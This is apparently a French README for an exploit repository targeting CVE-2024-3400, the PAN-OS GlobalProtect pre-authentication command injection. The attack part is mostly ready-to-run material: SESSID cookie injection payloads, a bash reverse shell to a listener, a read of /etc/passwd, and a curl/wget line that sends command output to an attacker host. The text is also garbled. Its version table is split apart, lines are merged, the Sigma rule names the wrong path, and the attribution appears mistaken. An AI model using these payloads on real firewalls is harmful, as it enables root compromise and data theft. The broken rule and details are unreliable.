
Reproduction de cve-2024-3400-panos_rce_reproduction
CVSS 10.0 CRITIQUE | CWE-78 : injection de commandes système | massivement exploitée dans la nature
CVE-2024-3400 est une vulnérabilité d’injection de commandes avant authentification dans les interfaces de portail et de passerelle GlobalProtect de Palo Alto Networks PAN-OS. Cette vulnérabilité permet à un attaquant non authentifié d’exécuter des commandes arbitraires avec les privilèges root sur le pare-feu concerné.
La vulnérabilité réside dans la gestion des cookies de session du composant de portail et de passerelle GlobalProtect. La fonction chargée de traiter le cookie SESSID ne parvient pas à assainir correctement les entrées fournies par l’utilisateur avant de les transmettre à une commande shell.
Plus précisément, une requête HTTP non authentifiée vers le point de terminaison du portail GlobalProtect (/global-protect/login.esp) avec un cookie SESSID spécialement conçu contenant des métacaractères shell (backticks et expansion de variables) aboutit à une injection de commandes.
Le chemin de code vulnérable fonctionne comme suit :
/global-protect/login.espSESSID est extraite sans assainissementsystem() ou une fonction similaire d’exécution de commandes systèmeLa charge utile d’injection utilise des commandes délimitées par des backticks dans le cookie SESSID :
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
Le chemin traversant (/../../../) sort du répertoire prévu, et la partie COMMAND entre backticks amène le shell à exécuter l’entrée de l’attaquant. La redirection de sortie ou des mécanismes de shell inversé peuvent être utilisés pour exfiltrer les résultats des commandes.
| Version PAN-OS | Affectée | Corrigée dans |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x |
Remarque : PAN-OS 9.x et les versions antérieures ne sont pas concernées. Cloud NGFW et Prisma Access ne sont pas concernés.
UNC4554 / Midnight Blizzard (APT29) a été observé en train d’exploiter CVE-2024-3400 en tant que 0-day à partir de mars 2024. Volexity a publié son analyse le 12 avril 2024. Les schémas d’attaque observés incluaient :
Plusieurs PoCs publics ont été publiés. Ce dépôt fournit un exploit fonctionnel pour des tests autorisés.
requestspip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
Voir exploit.py dans ce dépôt pour un exploit Python complet prenant en charge :
/global-protect/login.esp avec des cookies SESSID anormalement longs ou suspects/../../) combinées à des caractères backtick/opt/panlogs/tmp/device_telemetry/ avec des extensions .pytitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (bloque le chemin de code vulnérable sans nécessiter de redémarrage)/opt/panlogs/tmp/device_telemetry/SESSID anormalesAppliquez le correctif fourni par Palo Alto Networks. Ce correctif assainit correctement l’entrée du cookie avant la construction de la commande shell.
Si vous soupçonnez une exploitation :
Ce dépôt est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L’exploitation non autorisée de cette vulnérabilité est illégale. Les auteurs ne sont pas responsables d’un usage abusif de ces informations. Assurez-vous toujours d’avoir une autorisation écrite explicite avant de tester un système.
Licence MIT – Ce contenu est fourni pour la recherche en sécurité défensive et les tests autorisés.
| < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 |
| 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
| Source | Lien |
|---|